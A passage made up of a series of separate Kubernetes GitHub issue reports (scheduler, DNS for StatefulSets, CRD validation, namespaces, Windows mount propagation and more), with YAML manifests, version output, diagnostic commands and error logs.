right, but surely only one of them can be.\r \r   what you expected to happen  :\r \r i expected the docs to be consistent with each other  and ideally with the implementation too, whatever that turns out to be :   \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r read the docs and see that they disagree with each other.  or ok, set up a cluster with two pods in different namespaces with podantiaffinity with  namespaces:     and see if they can get scheduled on the same node or not. but i'm still just at the \ docs are inconsistent\  stage.\r \r   anything else we need to know?  :\r \r no.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.6-gke.2  but this applies to the current 1.10 docs, not my personal kubernetes \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : container-optimized os\r - kernel  e.g.  uname -a  : 4.4.111+\r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r we should add a log line  at v1 or v2  each time the scheduler successfully creates a binding. the log should include,\r - pod namespace/name\r - target node\r - number of nodes evaluated\r - number of feasible nodes found\r \r   why is this needed  :\r if the scheduler thinks everything is going well, almost nothing gets logged about scheduling decisions. adding this log will help us debug issues where, for example, the scheduler cache is out of sync with a node's state, and the node repeatedly rejects pods that we bind to it.\r \r \r  \r <!-- do not edit below this line -->\r 

please coordinate with sig-scheduling before working on this issue.   we want to avoid the situation where two people accidentally start work on the same fix.\r \r main tracking issue: https://github.com/kubernetes/kubernetes/issues/68951\r \r if you contributed in phase 1, please give others a chance before claiming this issue. you can also help out by reviewing the phase 2 prs.\r \r our existing, multi-step constructor  newconfigfactory  is being replaced by the simpler  new  function.  see https://github.com/kubernetes/kubernetes/pull/69057  this issue covers migrating all users to the new function.\r \r \r today, all callers appear to be in either  cmd/kube-scheduler  or  test/integration .\r \r \r when the migration is complete, we should also be able to,\r \r - remove  newschedulerconfig  from  cmd/kube-scheduler/app \r - remove  scheduler.newfromconfigurator \r - rename  scheduler.newfromconfig  to  scheduler.newfromconfig \r \r   /help\r /good-first-issue

what happened  :\r \r windows documentation  here  https://github.com/kubernetes/website/blob/master/content/en/docs/setup/windows/intro-windows-in-kubernetes.md  claims:\r \r >v1.volumemount.mountpropagation - only mountpropagationhosttocontainer is available. \r \r however, the internals suggest otherwise;  runtimeapi.mountpropagation_propagation_private  is always returned on windows:\r https://github.com/kubernetes/kubernetes/blob/484043a6d15973e20e35405a3acab862bc75ad5f/pkg/kubelet/kubelet_pods.go l272-l292\r \r either the docs should be corrected, or the kubelet should be updated, or we should have a comment on why this does in fact enable mountpropagationhosttocontainer on windows.\r \r /cc @patricklang @yujuhong @pjh \r  \r \r

users find out late if they specify an invalid image, which contributes to a poor experience and is expensive for the system.  4121  we could add an option to kubectl to verify the image exists. it won't necessarily work for all images  e.g., private images .  podex has some code to get image metadata, but it targets the old registry api: https://github.com/googlecloudplatform/kubernetes/blob/master/contrib/podex/podex.go

lot's of cleanup can be done in the daemonset e2e. @quinton-hoole made some comments in  15104 that should be addressed.

our \ reboot\  tests have been causing us a lot of pain recently, but have been uncovering important issues.  in talking with @dchen1107 today, it seems like we need to write more specific reboot tests to catch a variety of underlying issues with the node and various startup and shutdown troubles.  @dchen1107 can you provide some thoughts on how we might make these tests better or more useful?

https://github.com/google/cadvisor/issues/1461 results in kubelet being unable to start inside a container because the cgroup order is reversed.  blocks containerized kubelet from starting.

when running large cluster tests, i'm seeing that ~5% of all allocations are coming from:\r    \r pkg/api/resource.  quantity .size  \r    \r operation. it seems that underneath this is calling string   operation which makes this pretty inefficient. we should be able to optimize it.

kubernetes version  : v1.6.0-beta.4\r \r i think this may be the same issue as  39113, but i'm opening separately since i'm seeing the behavior for pods in hostnetwork  instead of a cni networked pod .\r \r   what happened  : \r \r i have a pod spec with this snippet of yaml:\r    \r hostnetwork: true\r containers:\r   spec:\r     env:\r       - name: etcd_ip\r         valuefrom:\r           fieldref:\r             fieldpath: status.podip\r     command:  \ /bin/sh\ ,\ -c\  \r     args:  \ /usr/local/bin/etcd --advertise-client-urls=http://$etcd_ip:6666 --name=calico --data-dir=/var/etcd/calico-data --listen-client-urls=http://0.0.0.0:6666 --listen-peer-urls=http://0.0.0.0:6667\  \r \r \r    \r \r in v1.5.2, my pod is coming up with  $etcd_ip  correctly filled in to the node's ip.\r \r in 1.6.0-beta.4,  $etcd_ip  is empty at startup. \r \r the containerstatus in the pod yaml _does_ correctly shows the node's ip in the podip field:\r    \r   containerstatuses:\r   - containerid: docker://42b77d3538c71c7d8aba28321d5b611c05ed274863676006187de3077f30c16e\r     image: gcr.io/google_containers/etcd:2.2.1\r     imageid: docker-pullable://gcr.io/google_containers/etcd@sha256:19544a655157fb089b62d4dac02bbd095\r f82ca245dd5e31dd1684d175b109947\r     laststate: {}\r     name: calico-etcd\r     ready: true\r     restartcount: 0\r     state:\r       running:\r         startedat: 2017-03-22t17:08:35z\r   hostip: 10.240.0.31\r   phase: running\r   podip: 10.240.0.31\r   qosclass: besteffort\r   starttime: 2017-03-22t17:08:32z\r    \r \r i heard k8s 1.6 moved a lot of core networking into separate cni plugins. does this mean that hostnetwork is now handled by a cni plugin, and would hit the same bug as  39113?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r latest\r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r cidr_set.go in pkg/controller/node currently uses a bitmap to track the subnets allocated.\r the current allocation logic assumes a small allocation range. this bitmap could grow very large with the introduction of ipv6.\r the v6 code in cidr_set.go currently limits the difference between the cluster mask size and subnet mask size to 16. this restriction could be removed if the bitmap was compressed.\r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r \r   anything else we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : yes\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : statefulsets, dns  found some issues, but all with resolutions i have tried \r \r ---\r \r   is this a bug report or feature request?    choose one : bug\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:57:25z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:22:08z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r    \r $ cat /etc/os-release\r name=\ centos linux\ \r version=\ 7  core \ \r id=\ centos\ \r id_like=\ rhel fedora\ \r version_id=\ 7\ \r pretty_name=\ centos linux 7  core \ \r ansi_color=\ 0;31\ \r cpe_name=\ cpe:/o:centos:centos:7\ \r home_url=\ https://www.centos.org/\ \r bug_report_url=\ https://bugs.centos.org/\ \r \r centos_mantisbt_project=\ centos-7\ \r centos_mantisbt_project_version=\ 7\ \r redhat_support_product=\ centos\ \r redhat_support_product_version=\ 7\ \r    \r -   kernel    e.g.  uname -a  :\r    \r $ uname -a\r linux motest-7 3.10.0-514.6.2.el7.x86_64  1 smp thu feb 23 03:04:39 utc 2017 x86_64 x86_64 x86_64 gnu/linux \r    \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r created statefulset with 2 replicas, and a headless service to allow access to them. the pods have the expected hostname, but they are unable to resolve each others hostnames.\r \r here is the statefulset and service definitions:\r    \r apiversion: v1\r kind: service\r metadata:\r   name: oklog-store\r   labels:\r     app: oklog-store\r spec:\r   ports:\r     - name: store-api\r       port: 12050\r       targetport: 12050\r       protocol: tcp\r     - name: store-cluster\r       port: 12059\r       targetport: 12059\r       protocol: tcp\r   clusterip: none\r   selector:\r     app: oklog-store\r ---\r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: oklog-store\r spec:\r   servicename: \ oklog-store\ \r   replicas: 2\r   template:\r     metadata:\r       labels:\r         app: oklog-store\r     spec:\r       containers:\r         - name: oklog-store\r           image: docker.registry.lohs.geneity/dmiddlec/oklog-dmiddlec:test\r           imagepullpolicy: always\r           env:\r             - name: pod_ip\r               valuefrom:\r                 fieldref:\r                   fieldpath: status.podip\r             - name: pod_namespace\r               valuefrom:\r                 fieldref:\r                   fieldpath: metadata.namespace\r           command:\r             - \ /bin/sh\ \r             - \ -c\ \r             - |\r               exec oklog store -debug -cluster tcp://$pod_ip:12059 \\\r                 -api tcp://0.0.0.0:12050 \\\r                 -peer oklog-ingest-0.oklog-ingest.$pod_namespace.svc.cluster.local:12059 \\\r                 -peer oklog-ingest-1.oklog-ingest.$pod_namespace.svc.cluster.local:12059 \\\r                 -peer oklog-ingest-2.oklog-ingest.$pod_namespace.svc.cluster.local:12059 \\\r                 -peer oklog-ingest-3.oklog-ingest.$pod_namespace.svc.cluster.local:12059 \\\r                 -peer oklog-store-0.oklog-store.$pod_namespace.svc.cluster.local:12059 \\\r                 -peer oklog-store-1.oklog-store.$pod_namespace.svc.cluster.local:12059\r           ports:\r             - name: store-api\r               containerport: 12050\r             - name: store-cluster\r               containerport: 12059\r       terminationgraceperiodseconds: 10\r       nodeselector:\r         oklog: not-active\r    \r note:  clusterip: none   this seems to be the resolution to this issue in all the other found cases .\r \r inside oklog-store-0\r    \r root@oklog-store-0:/  hostname -f\r oklog-store-0.oklog-store.ci.svc.cluster.local\r root@oklog-store-0:/  nslookup oklog-store.ci.svc.cluster.local\r server:         192.168.0.10\r address:        192.168.0.10 53\r \r name:   oklog-store.ci.svc.cluster.local\r address: 172.16.81.9\r name:   oklog-store.ci.svc.cluster.local\r address: 172.16.29.13\r root@oklog-store-0:/  nslookup oklog-store-1.oklog-store.ci.svc.cluster.local\r server:         192.168.0.10\r address:        192.168.0.10 53\r \r    server can't find oklog-store-1.oklog-store.ci.svc.cluster.local: nxdomain\r \r root@oklog-store-0:/  nslookup oklog-store-1\r server:         192.168.0.10\r address:        192.168.0.10 53\r \r    server can't find oklog-store-1: servfail\r root@oklog-store-0:/  nslookup -q=srv oklog-store.ci.svc.cluster.local\r server:         192.168.0.10\r address:        192.168.0.10 53\r \r oklog-store.ci.svc.cluster.local        service = 10 50 0 12c78c01.oklog-store.ci.svc.cluster.local.\r oklog-store.ci.svc.cluster.local        service = 10 50 0 4749ebd6.oklog-store.ci.svc.cluster.local.\r root@oklog-store-0:/  nslookup 12c78c01.oklog-store.ci.svc.cluster.local\r server:         192.168.0.10\r address:        192.168.0.10 53\r \r name:   12c78c01.oklog-store.ci.svc.cluster.local\r address: 172.16.29.13\r \r root@oklog-store-0:/  nslookup 4749ebd6.oklog-store.ci.svc.cluster.local\r server:         192.168.0.10\r address:        192.168.0.10 53\r \r name:   4749ebd6.oklog-store.ci.svc.cluster.local\r address: 172.16.81.9\r    \r note:  nslookup 'domain'  returns both records as expected.\r note: the pods are available, just with unexpected hostnames.\r   what you expected to happen  :\r \r  nslookup oklog-store-1.oklog-store.ci.svc.cluster.local  to resolve to the correct ip address.\r \r   how to reproduce it    as minimally and precisely as possible :\r use the given versions, and use the given  .yaml  to load a statefulset and a 'headless' service.\r \r   anything else we need to know  :\r \r

if namespaced resources exist, but their associated namespace does not, the namespace lifecycle admission plugin prevents their cleanup.\r \r the lifecycle admission plugin should not prevent deletion of these objects... it's job is to prevent creation of objects in terminating namespaces, and create/update of objects in missing namespaces.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have 3 nodes and after one of master node failed, find others controller manager existed due to below error:\r    \r i0821 06:18:41.963398 17 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ 81add085-824d-11e7-a33e-cecf71089999\ , apiversion:\ v1\ , resourceversion:\ 563547\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' hchenk8s5.eng.platformlab.ibm.com became leader\r i0821 06:18:41.965432 17 leaderelection.go:189  successfully acquired lease kube-system/kube-controller-manager\r i0821 06:18:42.209846 17 plugins.go:101  no cloud provider specified.\r i0821 06:18:42.265571 17 controllermanager.go:429  starting \ serviceaccount\ \r i0821 06:18:42.265632 17 controller_utils.go:994  waiting for caches to sync for tokens controller\r i0821 06:18:42.468213 17 controller_utils.go:1001  caches are synced for tokens controller\r f0821 06:18:42.480209 17 client_builder.go:273  unable to get token for service account: error watching\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r     \r use kubeadm build kubernetes, and network use weave. \r when create deployment, container in cluster run error, message:\r shutting down, got signal: terminated\r \r this is master docker info:\r    bash\r container id        image                                                                                                                            command                  created             status              ports                    names\r 03b70e737d82        gcr.io/google_containers/k8s-dns-sidecar-amd64@sha256:97074c951046e37d3cbb98b82ae85ed15704a290cce66a8314e7f846404edde9           \ /sidecar --v=2 --log\    2 hours ago         up 2 hours                                   k8s_sidecar_kube-dns-2425271678-0qk8d_kube-system_d160cb2c-8c71-11e7-9f6f-0a822feab82e_2\r 56fcb597f428        gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64@sha256:aeeb994acbc505eabc7415187cd9edb38cbb5364dc1c2fc748154576464b3dc2     \ /dnsmasq-nanny -v=2 \    2 hours ago         up 2 hours                                   k8s_dnsmasq_kube-dns-2425271678-0qk8d_kube-system_d160cb2c-8c71-11e7-9f6f-0a822feab82e_2\r 7bce29a633ba        gcr.io/google_containers/kubernetes-dashboard-amd64@sha256:2c4421ed80358a0ee97b44357b6cd6dc09be6ccc27dfe9d50c9bfc39a760e5fe      \ /dashboard --insecur\    2 hours ago         up 2 hours                                   k8s_kubernetes-dashboard_kubernetes-dashboard-3313488171-s2nq9_kube-system_7abdde7d-8c72-11e7-9f6f-0a822feab82e_2\r 0f78c04952ca        gcr.io/google_containers/k8s-dns-kube-dns-amd64@sha256:40790881bbe9ef4ae4ff7fe8b892498eecb7fe6dcc22661402f271e03f7de344          \ /kube-dns --domain=c\    2 hours ago         up 2 hours                                   k8s_kubedns_kube-dns-2425271678-0qk8d_kube-system_d160cb2c-8c71-11e7-9f6f-0a822feab82e_2\r dff87d3f9a1a        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_kubernetes-dashboard-3313488171-s2nq9_kube-system_7abdde7d-8c72-11e7-9f6f-0a822feab82e_5\r 51d8f738ee6a        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_kube-dns-2425271678-0qk8d_kube-system_d160cb2c-8c71-11e7-9f6f-0a822feab82e_4\r 2fec6691cb48        docker.io/weaveworks/weave-npc@sha256:676b3a815e2cb2477e6d4ed3c6699c3d3a9c23e30b8f5e76af8e5c0b5030d525                           \ /usr/bin/weave-npc\      2 hours ago         up 2 hours                                   k8s_weave-npc_weave-net-0xm3l_kube-system_ee12b873-8c71-11e7-9f6f-0a822feab82e_2\r 4484088ccb02        docker.io/weaveworks/weave-kube@sha256:cddb2620620481271763d39c797b2f0b970d18bc5e98ffb7151a3c5f8a923324                          \ /home/weave/launch.s\    2 hours ago         up 2 hours                                   k8s_weave_weave-net-0xm3l_kube-system_ee12b873-8c71-11e7-9f6f-0a822feab82e_2\r 6bfc27d3da0b        gcr.io/google_containers/kube-proxy-amd64@sha256:5373a1c294c9ffb2e842d74d3df8fcc5bed68c02af3fb3611c2fd71a411a68fe                \ /usr/local/bin/kube-\    2 hours ago         up 2 hours                                   k8s_kube-proxy_kube-proxy-pl2b2_kube-system_d15f683c-8c71-11e7-9f6f-0a822feab82e_2\r 127e08b039fc        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_weave-net-0xm3l_kube-system_ee12b873-8c71-11e7-9f6f-0a822feab82e_2\r 799e1050be33        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_kube-proxy-pl2b2_kube-system_d15f683c-8c71-11e7-9f6f-0a822feab82e_2\r ef80c6504966        gcr.io/google_containers/kube-scheduler-amd64@sha256:3712116f370e21938e6a55e0f73dc02a4a6f4830a33304127105ed89451ee527            \ kube-scheduler --add\    2 hours ago         up 2 hours                                   k8s_kube-scheduler_kube-scheduler-ip-172-31-20-203.ec2.internal_kube-system_b7014587ed2aff55c7240b2b6a9eb2e8_2\r ed5f93f76aa0        gcr.io/google_containers/etcd-amd64@sha256:d83d3545e06fb035db8512e33bd44afb55dea007a3abd7b17742d3ac6d235940                      \ etcd --listen-client\    2 hours ago         up 2 hours                                   k8s_etcd_etcd-ip-172-31-20-203.ec2.internal_kube-system_9ef6d25e21bb4befeabe4d0e4f72d1ca_2\r 27ab29145206        gcr.io/google_containers/kube-apiserver-amd64@sha256:f880371b4cee1a810d7caf4c8a2c0b8fa169879545b06a537e4ea6bcdfbbe1f6            \ kube-apiserver --kub\    2 hours ago         up 2 hours                                   k8s_kube-apiserver_kube-apiserver-ip-172-31-20-203.ec2.internal_kube-system_ce6a4c2b26f25529be8709a4cb892965_2\r 84dfb8e49f3d        gcr.io/google_containers/kube-controller-manager-amd64@sha256:7e31b7f71a8c1904c8b38c1681666ef551d0598fbbb4142522b05074ae0c9fd1   \ kube-controller-mana\    2 hours ago         up 2 hours                                   k8s_kube-controller-manager_kube-controller-manager-ip-172-31-20-203.ec2.internal_kube-system_e9f52ba0c8f60e37e61f17d960349191_2\r 8fa9c982bc0e        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_kube-scheduler-ip-172-31-20-203.ec2.internal_kube-system_b7014587ed2aff55c7240b2b6a9eb2e8_2\r fe1b012b0613        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_etcd-ip-172-31-20-203.ec2.internal_kube-system_9ef6d25e21bb4befeabe4d0e4f72d1ca_2\r 6c504b2bb8d8        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_kube-apiserver-ip-172-31-20-203.ec2.internal_kube-system_ce6a4c2b26f25529be8709a4cb892965_2\r 8a903739a134        gcr.io/google_containers/pause-amd64:3.0                                                                                         \ /pause\                  2 hours ago         up 2 hours                                   k8s_pod_kube-controller-manager-ip-172-31-20-203.ec2.internal_kube-system_e9f52ba0c8f60e37e61f17d960349191_2\r    \r and in one node, see a fail container logs:\r    bash\r docker logs cbf5fc421e4a\r shutting down, got signal: terminated\r    \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r \r   what happened  :\r pod use cinder volume,but the event is \r ! image  https://user-images.githubusercontent.com/25783555/34368732-1f3bacb0-eaf1-11e7-80c7-5f7610bbac24.png \r ! image  https://user-images.githubusercontent.com/25783555/34368771-76a56ed2-eaf1-11e7-8955-6f773d83d918.png \r the pod is running but record the event!thanks\r   what you expected to happen  :\r no the error event\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :k8s 1.6.9\r - cloud provider or hardware configuration:openstack\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r \r i created a crd with validation enabled  https://github.com/jetstack/cert-manager/pull/222/files . our e2e tests with kubernetes 1.9.1 failed when the  spec.dnsnames  field is empty. the build log is here: https://jetstack-build-infra.appspot.com/build/jetstack-logs/pr-logs/pull/jetstack_cert-manager/222/cert-manager-e2e-v1-9/45/\r \r the relevant error:\r \r    \r i0115 23:28:02.493        < errors.statuserror | 0xc42017a630>: {\r i0115 23:28:02.493            errstatus: {\r i0115 23:28:02.493                typemeta: {kind: \ \ , apiversion: \ \ },\r i0115 23:28:02.494                listmeta: {selflink: \ \ , resourceversion: \ \ , continue: \ \ },\r i0115 23:28:02.494                status: \ failure\ ,\r i0115 23:28:02.494                message: \ certificate.certmanager.k8s.io \\\ test-ca-certificate\\\  is invalid:   : invalid value: map string interface {}{\\\ spec\\\ :map string interface {}{\\\ commonname\\\ :\\\ test.domain.com\\\ , \\\ dnsnames\\\ :interface {} nil , \\\ secretname\\\ :\\\ test-ca-certificate\\\ , \\\ issuerref\\\ :map string interface {}{\\\ name\\\ :\\\ test-ca-issuer\\\ , \\\ kind\\\ :\\\ issuer\\\ }}, \\\ status\\\ :map string interface {}{\\\ conditions\\\ :interface {} nil }, \\\ kind\\\ :\\\ certificate\\\ , \\\ apiversion\\\ :\\\ certmanager.k8s.io/v1alpha1\\\ , \\\ metadata\\\ :map string interface {}{\\\ creationtimestamp\\\ :\\\ 2018-01-15t23:27:56z\\\ , \\\ namespace\\\ :\\\ e2e-tests-create-ca-certificate-vg4sw\\\ , \\\ uid\\\ :\\\ b74afe83-fa4b-11e7-9670-52540013305e\\\ , \\\ selflink\\\ :\\\ \\\ , \\\ clustername\\\ :\\\ \\\ , \\\ name\\\ :\\\ test-ca-certificate\\\ }}: validation failure list:\ spec.dnsnames in body must be of type array: \\\ null\\\ \ ,\r i0115 23:28:02.494                reason: \ invalid\ ,\r i0115 23:28:02.494                details: {\r i0115 23:28:02.494                    name: \ test-ca-certificate\ ,\r i0115 23:28:02.494                    group: \ certmanager.k8s.io\ ,\r i0115 23:28:02.495                    kind: \ certificate\ ,\r i0115 23:28:02.495                    uid: \ \ ,\r i0115 23:28:02.495                    causes:  \r i0115 23:28:02.495                        {\r i0115 23:28:02.495                            type: \ fieldvalueinvalid\ ,\r i0115 23:28:02.495                            message: \ invalid value: map string interface {}{\\\ kind\\\ :\\\ certificate\\\ , \\\ apiversion\\\ :\\\ certmanager.k8s.io/v1alpha1\\\ , \\\ metadata\\\ :map string interface {}{\\\ uid\\\ :\\\ b74afe83-fa4b-11e7-9670-52540013305e\\\ , \\\ selflink\\\ :\\\ \\\ , \\\ clustername\\\ :\\\ \\\ , \\\ name\\\ :\\\ test-ca-certificate\\\ , \\\ creationtimestamp\\\ :\\\ 2018-01-15t23:27:56z\\\ , \\\ namespace\\\ :\\\ e2e-tests-create-ca-certificate-vg4sw\\\ }, \\\ spec\\\ :map string interface {}{\\\ commonname\\\ :\\\ test.domain.com\\\ , \\\ dnsnames\\\ :interface {} nil , \\\ secretname\\\ :\\\ test-ca-certificate\\\ , \\\ issuerref\\\ :map string interface {}{\\\ name\\\ :\\\ test-ca-issuer\\\ , \\\ kind\\\ :\\\ issuer\\\ }}, \\\ status\\\ :map string interface {}{\\\ conditions\\\ :interface {} nil }}: validation failure list:\ spec.dnsnames in body must be of type array: \\\ null\\\ \ ,\r i0115 23:28:02.495                            field: \   \ ,\r i0115 23:28:02.495                        },\r i0115 23:28:02.495                     ,\r i0115 23:28:02.496                    retryafterseconds: 0,\r i0115 23:28:02.496                },\r i0115 23:28:02.496                code: 422,\r i0115 23:28:02.496            },\r i0115 23:28:02.496        }\r i0115 23:28:02.496        certificate.certmanager.k8s.io \ test-ca-certificate\  is invalid:   : invalid value: map string interface {}{\ spec\ :map string interface {}{\ commonname\ :\ test.domain.com\ , \ dnsnames\ :interface {} nil , \ secretname\ :\ test-ca-certificate\ , \ issuerref\ :map string interface {}{\ name\ :\ test-ca-issuer\ , \ kind\ :\ issuer\ }}, \ status\ :map string interface {}{\ conditions\ :interface {} nil }, \ kind\ :\ certificate\ , \ apiversion\ :\ certmanager.k8s.io/v1alpha1\ , \ metadata\ :map string interface {}{\ creationtimestamp\ :\ 2018-01-15t23:27:56z\ , \ namespace\ :\ e2e-tests-create-ca-certificate-vg4sw\ , \ uid\ :\ b74afe83-fa4b-11e7-9670-52540013305e\ , \ selflink\ :\ \ , \ clustername\ :\ \ , \ name\ :\ test-ca-certificate\ }}: validation failure list:\r i0115 23:28:02.496        spec.dnsnames in body must be of type array: \ null\ \r    \r \r  spec.dnsnames  is of type   string, but the api server is detecting this is  interface {} nil   thus failing validation.\r \r the crd validation spec under test: https://github.com/munnerz/cert-manager/commit/f95cf80ae29017911b13350ef96af84d8367508a\r \r   what you expected to happen  :\r \r the resource should be accepted, as the  dnsnames  field is not marked as required.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.1\r - cloud provider or hardware configuration: minikube\r - os  e.g. from /etc/os-release : centos\r \r /cc @nikhita @sttts\r 

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r enviroment:\r kubernetes cluster, one master and two nodes.\r \r start jenkins on kubernetes cluster.\r add kubernetes cluster to jenkins cloud.\r \r input following information in \ kubernetes url\  and test connection:\r https://kubernetes.default\r \r error log is printed:\r error testing connection https://kubernetes.default: java.net.unknownhostexception: kubernetes.default: name does not resolve\r \r   what you expected to happen  :\r connection test successful\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r name=\ centos linux\ \r version=\ 7  core \ \r - kernel  e.g.  uname -a  :\r linux k8s-master 3.10.0-693.el7.x86_64  1 smp tue aug 22 21:09:27 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - others:\r

 \r   what happened  :\r when applying a config file with resources in multiple namespaces, the first namespace will be applied to all other resources.\r \r   what you expected to happen  :\r resources created in their own namespaces.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r apiversion: v1\r kind: list\r items:\r   - apiversion: extensions/v1beta1\r     kind: ingress\r     metadata:\r       name: ingress-production\r       namespace: production\r     spec:\r       rules:\r         - host: a.test.com\r           http:\r             paths:\r               - backend:\r                   servicename: a-production\r                   serviceport: http\r   - apiversion: extensions/v1beta1\r     kind: ingress\r     metadata:\r       name: ingress-dev\r       namespace: dev\r     spec:\r       rules:\r         - host: a-dev.test.com\r           http:\r             paths:\r               - backend:\r                   servicename: a-dev\r                   serviceport: http\r    \r \r   anything else we need to know?  :\r -\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t22:29:25z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10+\ , gitversion:\ v1.10.5-gke.2\ , gitcommit:\ f199298d18103a59db32d97a92072fbb17b1175a\ , gittreestate:\ clean\ , builddate:\ 2018-07-10t02:37:32z\ , goversion:\ go1.9.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

from where i sit, kubernetes.io is not ressponding, everything else is. need documentation to be available.

